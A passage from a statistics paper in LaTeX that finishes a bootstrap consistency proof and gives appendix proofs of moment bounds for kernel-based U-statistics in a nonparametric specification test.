& = & I_{2,1,1}^{*}+I_{2,1,2}^{*}+I_{2,1,3}^{*}+I_{2,1,4}^{*}+I_{2,1,5}^{*}+I_{2,1,6}^{*}+I_{2,1,7}^{*}+I_{2,1,8}^{*}\end{aligned}$$ Handling one problem at a time, let us notice that $I_{2,1,1}^{*}$ is a zero-mean $U-$statistic of order three with kernel $H_{n}\left(Z_{i}^{*},Z_{j}^{*},Z_{l}^{*}\right)=\eta_{i}u_{i}f_{i}\left(r_{j}-r_{l}\right)L_{njl}K_{nij}\psi_{ij}$ where $Z_{i}^{*}=\left(Y_{i},W_{i},X_{i},\eta_{i}\right)$. Using the Hoeffding decomposition of $I_{2,1,1}^{*}$ in degenerate $U-$statistics, it is easy to check that the third and second order projections are small. For the first order degenerate $U-$statistic it suffices to note that $\mathbb{E}\left[H_{n}\mid Z_{j}^{*}\right]=\mathbb{E}\left[H_{n}\mid Z_{l}^{*}\right]=0$ and $\mathbb{E}\left[H_{n}\mid Z_{i}^{*}\right]=\eta_{i}u_{i}f_{i}\mathbb{E}\left[\left(r_{j}-r_{l}\right)L_{njl}K_{nij}\psi_{ij}\mid Z_{i}\right]$ so that $$\begin{aligned}
\mathbb{E}\left[\mathbb{E}^{2}\left[H_{n}\mid Z_{i}^{*}\right]\right] & = & \mathbb{E}\left[\eta_{i}^{2}u_{i}^{2}f_{i}^{2}\mathbb{E}^{2}\left[\left(r_{j}-r_{l}\right)L_{njl}K_{nij}\psi_{ij}\mid Z_{i}\right]\right]\\
& = & \mathbb{E}\left[u_{i}^{2}f_{i}^{2}\mathbb{E}^{2}\left[\left(r_{j}-r_{l}\right)L_{njl}K_{nij}\psi_{ij}\mid Z_{i}\right]\right]\end{aligned}$$ which, given that $\left\Vert \psi\right\Vert _{\infty}<\infty,$ is similar to the term $\xi_1$ bounded in the proof of Proposition 5 of Lavergne et Vuong (2000).
Finally, let us briefly consider the case $I_n^{*}=\tilde{I}_n.$ Like in the decomposition (\[ilvifl\]), we have $$n\left(n-1\right)^{3}I_{n,FL}^{*}=n^{\left(4\right)}I_{n,LV}^{*}+n^{\left(3\right)}V_{1n}^{*}+2n^{\left(3\right)}V_{2n}^{*}-n^{\left(2\right)}V_{3n}^{*}$$ where $\forall j\in\left\{ 1,2,3\right\} $, the $V_{jn}^{*}$s are obtained by replacing the $Y_{i}$s by the $Y_{i}^{*}$s in the $V_{jn}$s. All these terms could be handled by arguments similar to the ones detailed above. The proof of Theorem \[Bootstrap Consistency\] is now complete.
Appendix (not for publication) {#appendix-not-for-publication .unnumbered}
==============================
We here provide proofs of technical lemmas and additional details for the proofs in the manuscript. We define $Z_{i} = \left( Y_{i}, W_{i},
X_{i}\right)$, $\|\psi\|_\infty=\sup_{x\in\mathbb{R}^q} |\psi(x)|$, $$\mathbf{K}_{nij} = |K_{nij}| = \frac{1}{h^p}
\left|K\left( \frac{W_i - W_j}{h}\right)\right|,
\qquad \mbox{and}\qquad
\mathbf{L}_{nij} = |L_{nij}| = \frac{1}{g^p} \left|L\left( \frac{W_i
- W_j}{g}\right)\right|
\, .$$
1\. We have $$\mathbb{E}\left[A_{n}\right] = \dfrac{4h^{p}}{\left(n-1\right)^{2}}\sum_{i=2}^{n}\sum_{j=1}^{i-1}\mathbb{E}\left[\sigma_{i}^{2}f_{i}^{2}\sigma_{j}^{2}f_{j}^{2}K_{nij}^{2}\psi_{ij}^{2}\right]
= \dfrac{2n h^{p}}{n-1} \mathbb{E}\left[\sigma_{i}^{2}f_{i}^{2}\sigma_{j}^{2}f_{j}^{2}K_{nij}^{2}\psi_{ij}^{2}\right],$$ and
$$\begin{aligned}
\mbox{Var}\left[A_{n}\right] & \leq & \dfrac{64h^{2p}\left\Vert \psi\right\Vert _{\infty}^{4}}{\left(n-1\right)^{4}}\sum_{i=3}^{n}\sum_{j=2}^{i-1}\sum_{j^{\prime}=1}^{j-1}\mathbb{E}\left[\sigma_{i}^{4}f_{i}^{4}\sigma_{j}^{2}f_{j}^{2}\sigma_{j^{\prime}}^{2}f_{j^{\prime}}^{2}K_{nij}^{2}K_{nij^{\prime}}^{2}\right]\\
& & +\dfrac{32h^{2p}\left\Vert \psi\right\Vert _{\infty}^{4}}{\left(n-1\right)^{4}}\sum_{i=3}^{n}\sum_{i^{\prime}=1}^{i-1}\sum_{j=2}^{i^{\prime}-1}\mathbb{E}\left[\sigma_{i}^{2}f_{i}^{2}\sigma_{i^{\prime}}^{2}f_{i^{\prime}}^{2}u_{j}^{4}f_{j}^{4}K_{nij}^{2}K_{ni^{\prime}j}^{2}\right]\\
& & +\dfrac{16h^{2p}\left\Vert \psi\right\Vert _{\infty}^{4}}{\left(n-1\right)^{4}}\sum_{i=2}^{n}\sum_{j=1}^{i-1}\mathbb{E}\left[\sigma_{i}^{4}f_{i}^{4}u_{j}^{4}f_{j}^{4}K_{nij}^{4}\right]\\
& = & O\left(n^{-1}\right)\mathbb{E}\left[\sigma_{i}^{4}f_{i}^{4}\sigma_{j}^{2}f_{j}^{2}\sigma_{k}^{2}f_{k}^{2}\mathbf{K}_{nij}\mathbf{K}_{nik}\right]
+O\left(n^{-1}\right)\mathbb{E}\left[\sigma_{i}^{2}f_{i}^{2}\sigma_{i^{\prime}}^{2}f_{i^{\prime}}^{2}u_{j}^{4}f_{j}^{4}\mathbf{K}_{nij}\mathbf{K}_{ni^{\prime}j}\right] \\ &&+O\left(n^{-2}h^{-p}\right)\mathbb{E}\left[\sigma_{i}^{4}f_{i}^{4}u_{j}^{4}f_{j}^{4}\mathbf{K}_{nij}\right]\\
& = & O\left(n^{-1}\right)+O\left(n^{-2}h^{-p}\right).\end{aligned}$$ Deduce that $\mbox{Var}\left[A_{n}\right]\rightarrow 0,$ and hence remains to show that $\mathbb{E}[A_n]\rightarrow \omega ^2.$ We have $$h^{p}\;\mathbb{E}\left[\sigma_{i}^{2}f_{i}^{2}\sigma_{j}^{2}f_{j}^{2}K_{nij}^{2}\psi_{ij}^{2}\right]\\
= \mathbb{E}\left[ \int
\varphi_{X_{i}}\left(t\right)\varphi_{X_{j}}\left(-t\right)\mathcal{F}\left[K^{2}\right]\left(ht\right)\psi^{2}\left(X_{i}-X_{j}\right)dt\right]$$ where $\varphi_{x}\left(t\right)=\mathcal{F}\left[\sigma^{2}\left(\cdot,x\right)f^{2}\left(\cdot\right)\pi\left(\cdot\mid x\right)\right]\left(t\right)$. Let us note that $$\begin{aligned}
\mathbb{E}\left[ \int
\left| \varphi_{X_{i}}\left(t\right)\varphi_{X_{j}}\left(-t\right)\right|
\psi^{2}\left(X_{i}-X_{j}\right)dt\right] &\leq &\|\psi\|_\infty \; \mathbb{E}\left[ \int
\left| \varphi_{X}\left(t\right)\right|^2
dt\right] \\
& = & \|\psi\|_\infty \;\mathbb{E}\left[\sigma^{4}\left(W,X\right)f^{4}\left(W\right)\pi\left(W\mid X\right)\right],\end{aligned}$$ by Plancherel Theorem. Moreover, $\mathcal{F}\left[K^{2}\right]\left(ht\right)$ is bounded and converges pointwise to $\int K^{2}\left(s\right)ds$ as $h\to0$. Then by Lebesgue’s dominated convergence theorem, $$h^{p}\;
\mathbb{E}\left[\sigma_{i}^{2}f_{i}^{2}\sigma_{j}^{2}f_{j}^{2}K_{nij}^{2}
\psi_{ij}^{2}\right]
\to \mathbb{E}\left[\int
\varphi_{X_{i}}\left(t\right)\varphi_{X_{j}}\left(-t\right)
\psi^{2}\left(X_{i}-X_{j}\right)dt \right] \int
K^{2}\left(s\right)\, ds =
\omega^2
\, ,$$ by Parseval’s Theorem. 2. By elementary calculations, $$\begin{aligned}
\mathbb{E}\left[B_{n}^{2}\right] & = & \dfrac{64h^{2p}}{\left(n-1\right)^{4}}\sum_{i=3}^{n}\sum_{i^{\prime}=3}^{n}\sum_{j=2}^{i-1}
\sum_{j^{\prime}=2}^{i^{\prime}-1}\sum_{k=1}^{j-1}\sum_{k^{\prime}=1}^{j^{\prime}-1}
\mathbb{E}\left[\sigma_{i}^{2}f_{i}^{2}\sigma_{i^{\prime}}^{2}f_{i^{\prime}}^{2}u_{j}
f_{j}u_{j^{\prime}}f_{j^{\prime}}u_{k}f_{k}u_{k^{\prime}}f_{k^{\prime}}\right.\\
& & \left.\times K_{nij}K_{ni^{\prime}j^{\prime}}K_{nik}K_{ni^{\prime}k^{\prime}}\psi_{ij}
\psi_{i^{\prime}j^{\prime}}\psi_{ik}\psi_{i^{\prime}k^{\prime}}\right]\\
& \leq & \dfrac{64h^{2p}\left\Vert \psi\right\Vert _{\infty}^{4}}{\left(n-1\right)^{4}}\sum_{i=3}^{n}\sum_{i^{\prime}=3}^{n}
\sum_{j=2}^{i\wedge i^{\prime}-1}\sum_{k=1}^{j-1}\mathbb{E}\left[\sigma_{i}^{2}f_{i}^{2}\sigma_{i^{\prime}}^{2}f_{i^{\prime}}^{2}\sigma_{j}^{2}f_{j}^{2}\sigma_{k}^{2}f_{k}^{2}K_{nij}K_{ni^{\prime}j}K_{nik}K_{ni^{\prime}k}\right]\\
& = & \dfrac{64h^{2p}\left\Vert \psi\right\Vert _{\infty}^{4}}{\left(n-1\right)^{4}}\sum_{i=3}^{n}\sum_{j=2}^{i-1}\sum_{k=1}^{j-1}\mathbb{E}\left[\sigma_{i}^{4}f_{i}^{4}\sigma_{j}^{2}f_{j}^{2}\sigma_{k}^{2}f_{k}^{2}K_{nij}^{2}K_{nik}^{2}\right]\\
& & +\dfrac{128h^{2p}\left\Vert \psi\right\Vert _{\infty}^{4}}{\left(n-1\right)^{4}}\sum_{i=3}^{n}\sum_{i^{\prime}=3}^{i-1}
\sum_{j=2}^{i^{\prime}-1}\sum_{k=1}^{j-1}\mathbb{E}\left[\sigma_{i}^{2}f_{i}^{2}\sigma_{i^{\prime}}^{2}f_{i^{\prime}}^{2}\sigma_{j}^{2}f_{j}^{2}\sigma_{k}^{2}f_{k}^{2}K_{nij}K_{ni^{\prime}j}K_{nik}K_{ni^{\prime}k}\right]\\
& = & O\left(n^{-1}\right)\mathbb{E}\left[\sigma_{i}^{4}f_{i}^{4}\sigma_{j}^{2}f_{j}^{2}\sigma_{k}^{2}f_{k}^{2}\mathbf{K}_{nij}\mathbf{K}_{nik}\right] +O\left(h^{p}\right)\mathbb{E}\left[\sigma_{i}^{2}f_{i}^{2}\sigma_{i^{\prime}}^{2}f_{i^{\prime}}^{2}\sigma_{j}^{2}f_{j}^{2}\sigma_{k}^{2}f_{k}^{2}\mathbf{K}_{nij}\mathbf{K}_{ni^{\prime}j}\mathbf{K}_{nik}\right]\\
& = & O\left(n^{-1}\right)+O\left(h^{p}\right) = o(1)\, .\end{aligned}$$ 3. We have $\forall\varepsilon>0$, $\forall n\geq1$, and $1< i\leq n$, $$\begin{aligned}
\mathbb{E}\left[G_{n,i}^{2}I\left(\left|G_{n,i}\right|>\varepsilon\right)
\mid\mathcal{F}_{n,i-1}\right]
&\leq &
\mathbb{E}^{1/2}\left[G_{n,i}^{4}\mid\mathcal{F}_{n,i-1}\right]\mathbb{E}^{1/2}
\left[I\left(\left|G_{n,i}\right|>\varepsilon\right)\mid\mathcal{F}_{n,i-1}\right]
\\
& \leq &
\frac{\mathbb{E}\left[G_{n,i}^{4}\mid\mathcal{F}_{n,i-1}\right]}{\varepsilon^{2}}
\, .\end{aligned}$$ Then $$\begin{aligned}
\sum_{i=2}^{n}\mathbb{E}\left[G_{n,i}^{2}I\left(\left|G_{n,i}\right|>\varepsilon\right)\mid\mathcal{F}_{n,i-1}\right]
&\leq & \dfrac{1}{\varepsilon^{2}}\sum_{i=2}^{n}\mathbb{E}\left[G_{n,i}^{4}\mid\mathcal{F}_{n,i-1}\right]\\
&\leq & \dfrac{1}{\varepsilon^{2}}\dfrac{16h^{2p}}{\left(n-1\right)^{4}}\sum_{i=2}^{n}\mathbb{E}\left[u_{i}^{4}f_{i}^{4}\mid W_{i},\, X_{i}\right]\left(\sum_{j=1}^{i-1}u_{j}K_{nij}\psi_{ij}\right)^{4}\\
&\leq & \dfrac{1}{\varepsilon^{2}}\dfrac{16\kappa_{4}h^{2p}}{\left(n-1\right)^{4}}\sum_{i=2}^{n}\left(\sum_{j=1}^{i-1}u_{j}K_{nij}\psi_{ij}\right)^{4},\end{aligned}$$ where $\kappa_{4}$ is any constant that bounds $\mathbb{E}\left[u^{4}f^{4}\mid W,\, X\right].$ The last expression that multiplies $\varepsilon^{-2}$ is positive and has expectation $$\begin{aligned}
& \!\!\!\!\! \dfrac{16\kappa_{4}h^{2p}}{\left(n-1\right)^{4}}\sum_{i=2}^{n}\sum_{j_{1}=1}^{i-1}\sum_{j_{2}=1}^{i-1}\sum_{j_{3}=1}^{i-1}\sum_{j_{4}=1}^{i-1}\mathbb{E}\left[u_{j_{1}}f_{j_{1}}u_{j_{2}}f_{j_{2}}u_{j_{3}}j_{j_{3}}u_{j_{4}}f_{j_{4}}\vphantom{K_{nij_{1}}K_{nij_{2}}K_{nij_{3}}K_{nij_{4}}\psi_{ij_{1}}\psi_{ij_{2}}\psi_{ij_{3}}\psi_{ij_{4}}}\right.\\
& \hphantom{\dfrac{16\kappa_{4}h^{2p}}{\left(n-1\right)^{4}}\sum_{i=2}^{n}\sum_{j_{1}=1}^{i-1}\sum_{j_{2}=1}^{i-1}\sum_{j_{3}=1}^{i-1}\sum_{j_{4}=1}^{i-1}\mathbb{E}\left[\right.}\left.\times\vphantom{u_{j_{1}}f_{j_{1}}u_{j_{2}}f_{j_{2}}u_{j_{3}}j_{j_{3}}u_{j_{4}}f_{j_{4}}}K_{nij_{1}}K_{nij_{2}}K_{nij_{3}}K_{nij_{4}}\psi_{ij_{1}}\psi_{ij_{2}}\psi_{ij_{3}}\psi_{ij_{4}}\right]\\
= & \;\;\dfrac{96\kappa_{4}h^{2p}}{\left(n-1\right)^{4}}\sum_{i=3}^{n}\sum_{j=1}^{i-1}\sum_{k=1}^{j-1}\mathbb{E}\left[u_{j}^{2}f_{j}^{2}u_{k}^{2}f_{k}^{2}K_{nij}^{2}K_{nik}^{2}\psi_{ij}^{2}\psi_{ik}^{2}\right]\\
& +\dfrac{16\kappa_{4}h^{2p}}{\left(n-1\right)^{4}}\sum_{i=2}^{n}\sum_{j=1}^{i-1}\mathbb{E}\left[u_{j}^{4}f_{j}^{4}K_{nij}^{4}\psi_{ij}^{4}\right]\\
= & \;\;O\left(n^{-1}\right)\mathbb{E}\left[u_{j}^{2}f_{j}^{2}u_{k}^{2}f_{k}^{2}\mathbf{K}_{nij}\mathbf{K}_{nik}\right]+O\left(n^{-2}h^{-p}\right)\mathbb{E}\left[u_{j}^{4}f_{j}^{4}\mathbf{K}_{nij}\right]\\
= & \;\;O\left(n^{-1}\right)+O\left(n^{-2}h^{-p}\right).\end{aligned}$$ The desired result follows.
The following result, known as Bochner’s Lemma (see Theorem 1.1.1. of [@Bochner1955]) will be repeatedly use in the following. We recall it for the sake of completeness.
\[Bochner\]For any function $l\left(\cdot\right)\in{\cal U}^{p}$ and any integrable kernel $K\left(\cdot\right)$, $$\sup_{x\in\mathbb{R}^{p}}\left|\int l\left(y\right)\frac{1}{h^{p}}K\left(\frac{x-y}{h}\right)\, dy-l\left(x\right)\int K\left(u\right)\, du\right|\rightarrow0.$$
In the following we provide the proofs for rates for the remaining terms in the decomposition of $I_n$, see Propositions \[Ustat\] and \[Remaining\]. For this purpose, we use the following a decomposition for $U-$statistics that can be found in [@Lavergne2000]: if $U_{n}=\left(1/n^{\left(m\right)}\right)\sum_{a}H_{n}\left(Z_{i_{1}},\,\dots,\,
Z_{i_{m}}\right)$, then $$\mathbb{E}\left[U_{n}^{2}\right] = \left(\dfrac{1}{n^{\left(m\right)}}\right)^{2}\sum_{c=0}^{m}\dfrac{n^{\left(2m-c\right)}}{c!}\sum_{\left|\Delta_{1}\right|=c=\left|\Delta_{2}\right|}^{\left(c\right)}I\left(\Delta_{1},\Delta_{2}\right)= \sum_{c=0}^{m}O\left(n^{-c}\right)\sum_{\left|\Delta_{1}\right|=c=\left|\Delta_{2}\right|}^{\left(c\right)}I\left(\Delta_{1},\Delta_{2}\right),$$ where $\sum^{\left(c\right)}$ denotes summation over sets $\Delta_{1}$ and $\Delta_{1}$ of ordered positions of length $c$, $$I\left(\Delta_{1},\Delta_{2}\right)=\mathbb{E}\left[H_{n}\left(Z_{i_{1}},\,\dots,\, Z_{i_{m}}\right)H_{n}\left(Z_{j_{1}},\,\dots,\, Z_{j_{m}}\right)\right]$$ and the $i$’s position in $\Delta_{1}$ coincide with the $j$’s position in $\Delta_{2}$ and are pairwise distinct otherwise. Now, we will bound $\mathbb{E}\left[U_{n}^{2}\right]$ using the $\xi_{c}=\sum^{\left(c\right)}I\left(\Delta_{1},\Delta_{2}\right)$ and the fact that by Cauchy’s inequality, $$\begin{aligned}
I^{2}\left(\Delta_{1},\Delta_{2}\right) & = & \mathbb{E}^{2}\left[\mathbb{E}\left[H_{n}\left(Z_{i_{1}},\,\dots,\, Z_{i_{m}}\right)\mid Z_{c}\right]\mathbb{E}\left[H_{n}\left(Z_{j_{1}},\,\dots,\, Z_{j_{m}}\right)\mid Z_{c}\right]\right]\\
& \leq & \mathbb{E}\left[\mathbb{E}^{2}\left[H_{n}\left(Z_{i_{1}},\,\dots,\, Z_{i_{m}}\right)\mid Z_{c}\right]\right]\mathbb{E}\left[\mathbb{E}^{2}\left[H_{n}\left(Z_{j_{1}},\,\dots,\, Z_{j_{m}}\right)\mid Z_{c}\right]\right]\end{aligned}$$ where $Z_{c}$ denotes the common $Z_{i}$’s.
After bounding the $\psi_{ij}$’s by $\left\Vert \psi\right\Vert _{\infty}$ the arguments are very similar to those used in [@Lavergne2000]. We prove only the first statement.
[(i)]{}
: $I_{1,3}$ is a U-statistic with kernel $H_{n}\left(Z_{i},Z_{j},Z_{l}\right)=u_{i}f_{i}u_{l}L_{njl}K_{nij}\psi_{ij}.$ We need to bound the $\xi_{c}$, $c=0,1,2,3$.
1. $\mathbb{E}\left[H_{n}\right]=0,$ thus $\xi_{0}=0$.
2. $\xi_{1}=O\left(\delta_{n}^{2}\right)$. Indeed, $\mathbb{E}\left[H_{n}\mid Z_{l}\right]=\delta_{n}u_{l}\mathbb{E}\left[d_{i}f_{i}L_{njl}K_{nij}\psi_{ij}\mid Z_{l}\right]$ and $\mathbb{E}\left[H_{n}\mid Z_{i}\right]=0=\mathbb{E}\left[H_{n}\mid Z_{j}\right].$ Then $$\begin{aligned}
\mathbb{E}\left[\mathbb{E}^{2}\left[H_{n}\mid Z_{l}\right]\right] & \leq & \left\Vert \psi\right\Vert _{\infty}^{2}\delta_{n}^{2}\mathbb{E}\left[u_{l}^{2}\mathbb{E}^{2}\left[d_{i}f_{i}L_{njl}K_{nij}\mid Z_{l}\right]\right]\\
& = & O\left(\delta_{n}^{2}\right)\mathbb{E}\left[u_{l}^{2}\mathbb{E}^{2}\left[L_{njl}d_{j}f_{j}^{2}\mid Z_{l}\right]\right]=O\left(\delta_{n}^{2}\right).\end{aligned}$$
3. $\xi_{2}=O\left(g^{-p}\right)$. Indeed, we have $$\begin{aligned}
\mathbb{E}\left[H_{n}\mid Z_{i},Z_{j}\right] & = & u_{i}f_{i}K_{nij}\psi_{ij}\mathbb{E}\left[u_{l}L_{njl}\mid Z_{j}\right]=0,\\
\mathbb{E}\left[H_{n}\mid Z_{i},Z_{l}\right] & = & u_{i}f_{i}u_{l}\mathbb{E}\left[L_{njl}K_{nij}\psi_{ij}\mid Z_{i},Z_{l}\right],\\
\mathbb{E}\left[H_{n}\mid Z_{j},Z_{l}\right] & = & u_{l}L_{njl}\mathbb{E}\left[u_{i}f_{i}K_{nij}\psi_{ij}\mid Z_{j}\right]=\delta_{n}u_{l}L_{njl}\mathbb{E}\left[d_{i}f_{i}K_{nij}\psi_{ij}\mid Z_{j}\right].\end{aligned}$$ By successive applications of Lemma \[Bochner\], $$\begin{aligned}
\mathbb{E}\left[\mathbb{E}^{2}\left(H_{n}\mid Z_{i},Z_{l}\right)\right] & \leq & \left\Vert \psi\right\Vert _{\infty}^{2}\mathbb{E}\left[u_{i}^{2}f_{i}^{2}u_{l}^{2}\mathbb{E}\left[L_{njl}K_{nij}\mid Z_{i},Z_{l}\right]\mathbb{E}\left[L_{nj^{\prime}l}K_{nij^{\prime}}\mid Z_{i},Z_{l}\right]\right]\\
& = & O\left(g^{-p}\right)\mathbb{E}\left[u_{i}^{2}f_{i}^{2}u_{l}^{2}\mathbb{E}\left[\mathbf{L}_{njl}\mathbf{K}_{nij}\mid Z_{i},Z_{l}\right]\mathbb{E}\left[\mathbf{K}_{nij^{\prime}}\mid Z_{i},Z_{l}\right]\right]\\
& = & O\left(g^{-p}\right)\mathbb{E}\left[u_{i}^{2}f_{i}^{3}u_{l}^{2}\mathbf{L}_{njl}\mathbf{K}_{nij}\right]=O\left(g^{-p}\right),\\
\mathbb{E}\left[\mathbb{E}^{2}\left[H_{n}\mid Z_{j},Z_{l}\right]\right] & \leq & \left\Vert \psi\right\Vert _{\infty}^{2}\delta_{n}^{2}\mathbb{E}\left[u_{l}^{2}L_{njl}^{2}\mathbb{E}^{2}\left[d_{i}f_{i}K_{nij}\mid Z_{j}\right]\right]\\
& \leq & O\left(\delta_{n}^{2}\right)\mathbb{E}\left[u_{l}^{2}L_{njl}^{2}d_{j}^{2}f_{j}^{4}\right]\\
& = & O\left(\delta_{n}^{2}\right) O\left(g^{-p}\right)\mathbb{E}\left[u_{l}^{2}\mathbf{L}_{njl}d_{j}^{2}f_{j}^{4}\right]
=O\left(g^{-p}\right).\end{aligned}$$
4. $\xi_{3}=O\left(g^{-p}h^{-p}\right)$, as $\mathbb{E}\left[H_{n}^{2}\right]$ equals $$\mathbb{E}\left[u_{i}^{2}u_{l}^{2}f_{i}^{2}L_{njl}^{2}K_{nij}^{2}\psi_{ij}^{2}\right]=O\left(g^{-p}h^{-p}\right)\mathbb{E}\left[u_{i}^{2}u_{l}^{2}f_{i}^{2}\mathbf{L}_{njl}\mathbf{K}_{nij}\right]=O\left(g^{-p}h^{-p}\right).$$
Collecting results, $\mathbb{E}\left[\left(nh^{p/2}I_{1,3}\right)^{2}\right]=
O\left(\delta_{n}^{2}nh^{p}\right)+
O\left(h^{p}/g^{p}\right)+
O\left(n^{-1}g^{-p}\right)=o(1)$.
As in Proposition \[Ustat\], we only prove the first statement. We will use the following lemma, which is similar to Lemma 2 of [@Lavergne2000], and whose proof is then omitted.
\[Lambda\] Let $\Delta f_{i}^{j}= \widehat{f}_{i}^{j}-f_{i}.$ If $f\left(\cdot\right)\in{\cal U}^{p}$ and $ng^{p}\rightarrow\infty$, $\mathbb{E}\left[\Delta^{2}f_{i}^{j}\mid Z_{i},Z_{j},Z_{i'},Z_{j'}\right]=o\left(1\right)$ and $E\left[\Delta^{2}f_{i}^{j,l}\mid Z_{i},Z_{j},Z_{l},Z_{i'},Z_{j'},Z_{l'}\right]=o\left(1\right)$ uniformly in the indices.
[(i)]{}
: Let us denote $\Delta f_{i}^{j}= \widehat{f}_{i}^{j}-f_{i}.$ We have $I_{1,1}=\left(1/n^{\left(2\right)}\right)\sum_{a}u_{i}\Delta f_{i}^{j}u_{j}f_{j}K_{nij}\psi_{ij}$ so that $$\label{biz_biz}
\mathbb{E}\left[I_{1,1}^{2}\right]=\left(\frac{1}{n^{\left(2\right)}}\right)^{2}\left[\sum_{a}u_{i}\Delta f_{i}^{j}u_{j}f_{j}K_{nij}\psi_{ij}\right]\left[\sum_{a}u_{i^{\prime}}\Delta f_{i^{\prime}}^{j^{\prime}}u_{j^{\prime}}f_{j^{\prime}}K_{ni^{\prime}j^{\prime}}\psi_{i^{\prime}j^{\prime}}\right],$$ where the first (respectively the second) sum is taken over all arrangements of different indices $i$ and $j$ (respectively different indices $i^{\prime}$ and $j^{\prime}$). Let $\overline{W}$ denote the sample of $W_{i},$ $1\leq i \leq n,$ and let $\lambda_{n}=E\left[\Delta^{2}f_{i}^{j}\mid
Z_{i},Z_{j},Z_{i^{\prime}},Z_{j^{\prime}}\right]$. By Lemma \[Lambda\], $\lambda_n=o\left(1\right)$ uniformly in the indices. By Equation (\[biz\_biz\]), $\mathbb{E}\left[I_{1,1}^{2}\right]$ is equal to a normalized sum over four indices. This sum could split in three sums of the following types.
1. All indices are different, that is a sum of $n^{\left(4\right)}$ terms. Each term in the sum can be bounded as follows: $$\begin{array}{cl}
& \mathbb{E}\left[u_{i}\Delta f_{i}^{j}u_{j}f_{j}K_{nij}\psi_{ij}u_{i^{\prime}}\Delta f_{i^{\prime}}^{j^{\prime}}u_{j^{\prime}}f_{j^{\prime}}K_{ni^{\prime}j^{\prime}}\psi_{i^{\prime}j^{\prime}}\right]\\
\leq & \left\Vert \psi\right\Vert _{\infty}^{2}\delta_{n}^{4}\mathbb{E}\left[\Delta f_{i}^{j}f_{j}\Delta f_{i^{\prime}}^{j^{\prime}}f_{j^{\prime}}\mathbb{E}\left[d_{i}d_{j}d_{i'}d_{j^{\prime}}K_{nij}K_{ni^{\prime}j^{\prime}}\mid\overline{W}\right]\right]\\
\leq & \left\Vert \psi\right\Vert _{\infty}^{2}\delta_{n}^{4}\mathbb{E}\left[f_{j}f_{j^{\prime}}d_{i}d_{j}d_{i^{\prime}}d_{j^{\prime}}K_{nij}K_{ni^{\prime}j^{\prime}}\mathbb{E}\left[\Delta f_{i}^{j}\Delta f_{i^{\prime}}^{j^{\prime}}\mid Z_{i},Z_{j},Z_{i^{\prime}},Z_{j^{\prime}}\right]\right]\\
\leq & O(\delta_{n}^{4}\lambda_{n})\mathbb{E}\left|f_{j}f_{j^{\prime}}d_{i}d_{j}d_{i^{\prime}}d_{j^{\prime}}K_{nij}K_{ni^{\prime}j^{\prime}}\right|=O\left(\delta_{n}^{4}\lambda_{n}\right).
\end{array}$$
2. One index is common to $\left\{ i,j\right\} $ and $\left\{ i^{\prime},j^{\prime}\right\} ,$ that is a sum of $4n^{\left(3\right)}$ terms. For each of such terms we can write $$\begin{array}{ccl}
\left(i^{\prime}=i\right)\quad & & \mathbb{E}\left[u_{i}^{2}\Delta f_{i}^{j}u_{j}f_{j}K_{nij}\psi_{ij}\Delta f_{i}^{j^{\prime}}u_{j^{\prime}}f_{j^{\prime}}K_{nij^{\prime}}\psi_{ij^{\prime}}\right]\\
& \leq & \left\Vert \psi\right\Vert _{\infty}^{2}\delta_{n}^{2}\mathbb{E}\left[\Delta f_{i}^{j}f_{j}\Delta f_{i}^{j^{\prime}}f_{j^{\prime}}E\left[u_{i}^{2}d_{j}d_{j^{\prime}}K_{nij}K_{nij^{\prime}}\mid\overline{W}\right]\right]\\
& \leq & O(\delta_{n}^{2}\lambda_{n})\mathbb{E}\left|f_{j}f_{j^{\prime}}u_{i}^{2}d_{j}d_{j^{\prime}}K_{nij}K_{nij^{\prime}}\right|=O\left(\delta_{n}^{2}\lambda_{n}\right),\\
\\
\left(j^{\prime}=j\right)\quad & & \mathbb{E}\left[u_{i}\Delta f_{i}^{j}u_{j}^{2}f_{j}^{2}K_{nij}\psi_{ij}u_{i^{\prime}}\Delta f_{i^{\prime}}^{j}K_{ni^{\prime}j}\psi_{i^{\prime}j}\right]\\
& \leq & \left\Vert \psi\right\Vert _{\infty}^{2}\delta_{n}^{2}\mathbb{E}\left[\Delta f_{i}^{j}f_{j}^{2}\Delta f_{i^{\prime}}^{j}\mathbb{E}\left[d_{i}u_{j}^{2}d_{i^{\prime}}K_{nij}K_{ni^{\prime}j}\mid\overline{W}\right]\right]\\
& \leq & O(\delta_{n}^{2}\lambda_{n})\mathbb{E}\left|f_{j}^{2}d_{i}u_{j}^{2}d_{i'}K_{nij}K_{ni^{\prime}j}\right|=O\left(\delta_{n}^{2}\lambda_{n}\right),\\
\\
\left(i^{\prime}=j\right)\quad & & \mathbb{E}\left[u_{i}\Delta f_{i}^{j}u_{j}^{2}f_{j}K_{nij}\psi_{ij}\Delta f_{j}^{j^{\prime}}u_{j^{\prime}}f_{j^{\prime}}K_{njj^{\prime}}\psi_{jj^{\prime}}\right]\\
& \leq & \left\Vert \psi\right\Vert _{\infty}^{2}\delta_{n}^{2}\mathbb{E}\left[\Delta f_{i}^{j}f_{j}\Delta f_{j}^{j^{\prime}}f_{j^{\prime}}E\left[d_{i}u_{j}^{2}d_{j'}K_{nij}K_{njj^{\prime}}\mid\overline{W}\right]\right]\\
& \leq & O(\delta_{n}^{2}\lambda_{n})\mathbb{E}\left|f_{j}f_{j^{\prime}}d_{i}u_{j}^{2}d_{j^{\prime}}K_{nij}K_{njj^{\prime}}\right|=O\left(\delta_{n}^{2}\lambda_{n}\right).
\end{array}$$ The case $j^{\prime}=i$ is similar to $i^{\prime}=j$.
3. Two indices in common to $\left\{ i,j\right\} $ and $\left\{ i^{\prime},j^{\prime}\right\}, $ that is a sum of $2n^{\left(2\right)}$ terms. For each term in the sum we can write $$\mathbb{E}\left[u_{i}^{2}u_{j}^{2}\left(\Delta f_{i}^{j}\right)^{2}\!f_{j}^{2}K_{nij}^{2}\psi_{ij}^{2}\right]\!=O\!\left(\lambda_{n}h^{-p}\right)\;\mbox{ and }\;\mathbb{E}\left[u_{i}^{2}u_{j}^{2}\Delta f_{i}^{j}\Delta f_{j}^{i}f_{i}f_{j}K_{nij}^{2}\psi_{ij}^{2}\right]\!=O\!\left(\lambda_{n}h^{-p}\right).$$
Therefore, $
\mathbb{E}\left[\left(nh^{p/2}I_{1,1}\right)^{2}\right]=\delta_{n}^{4}n^{2}h^{p}O\left(\lambda_{n}\right)+\delta_{n}^{2}nh^{p}O\left(\lambda_{n}\right)+O\left(\lambda_{n}\right)
=O\left(\lambda_{n}\right) $. The result then follows from Lemma \[Lambda\].
We only prove the result for $\Delta \hat r_i \hat f_i, $ as the reasoning is similar for $\Delta\hat f_i$. We have $$\begin{aligned}
